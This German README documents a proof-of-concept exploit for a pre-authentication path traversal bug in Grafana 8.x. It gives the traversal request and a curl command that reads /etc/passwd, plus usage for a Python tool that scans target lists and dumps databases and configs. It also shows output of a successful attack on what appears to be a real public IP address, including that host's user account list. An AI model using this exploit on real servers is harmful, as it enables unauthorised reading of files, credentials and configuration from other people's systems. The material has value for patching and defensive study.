
Python-Exploit-Code
Grafana 8.x Pfad-Traversal (Pre-Auth) Alle Credits gehen an j0v und seinen Tweet https://twitter.com/j0v0x0/status/1466845212626542607
Dies dient ausschließlich zu Bildungszwecken. Ich bin nicht verantwortlich für deine Handlungen. Verwende es auf eigenes Risiko. In gutem Glauben habe ich die Veröffentlichung dieses PoC zurückgehalten, bis diese Schwachstelle entweder öffentlich bekannt ist oder ein Patch verfügbar ist.
Ich bemerkte einen Tweet von j0v, der behauptete, einen Grafana-Pfad-Traversal-Bug gefunden zu haben. Aus Neugier begann ich, den Grafana-Quellcode zu untersuchen. In dem Tweet wurde erwähnt, dass es sich um einen Pre-Auth-Bug handele. Es gibt nur wenige öffentliche API-Endpunkte in Grafana, und nur einer davon nahm einen Dateipfad vom Benutzer entgegen.
Grafana hat einen öffentlichen API-Endpunkt, /public/plugins/:pluginId, der es erlaubt, die Assets eines Plugins anzusehen. Dies funktioniert, indem eine gültige :pluginId angegeben und dann der Dateipfad, z.B. img/logo.png, spezifiziert wird. Grafana versäumt es jedoch, den vom Benutzer bereitgestellten Dateipfad zu bereinigen, was zu einem Pfad-Traversal führt.
Das zugegriffene Verzeichnis befindet sich unter . Bei einer Standardinstallation von Grafana ist das Grafana-Datenverzeichnis . Indem man 8 Verzeichnisse zurückgeht, kann man das Wurzelverzeichnis des Dateisystems erreichen.
HTTP Request:
<grafana>/public/app/plugins/panel/<pluginId>/usr/share/grafanaGET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Fehlerhafter Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Hinweis: Dies funktioniert nicht im Browser (der automatisch die ../ im Pfad zusammenführt)
Es kann mit curl unter Verwendung des Arguments --path-as-is getestet werden:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
optional arguments:
-h, --help show this help message and exit
-l INPUT_LIST, --list INPUT_LIST
Input list of ip:port
-db, --database Dump db
-cfg, --config Dump config
-c, --check Enable output regex checking (Suppress false positives)
-t TARGET, --target TARGET
Single target
-f TARGET_FILE, --file TARGET_FILE
Remote target file
-w WRITE_FILE, --write WRITE_FILE
Directory to write files to.
-v, --verbosity Verbosity
./exploit.py -f /etc/passwd -l targets.list
./exploit.py -f /etc/passwd -l targets.list -db
Konfiguration auslesen:
./exploit.py -f /etc/passwd -l targets.list -cfg
Nur gültige Dateien ausgeben:
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin
Schreibe die Datei in das Verzeichnis files:
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files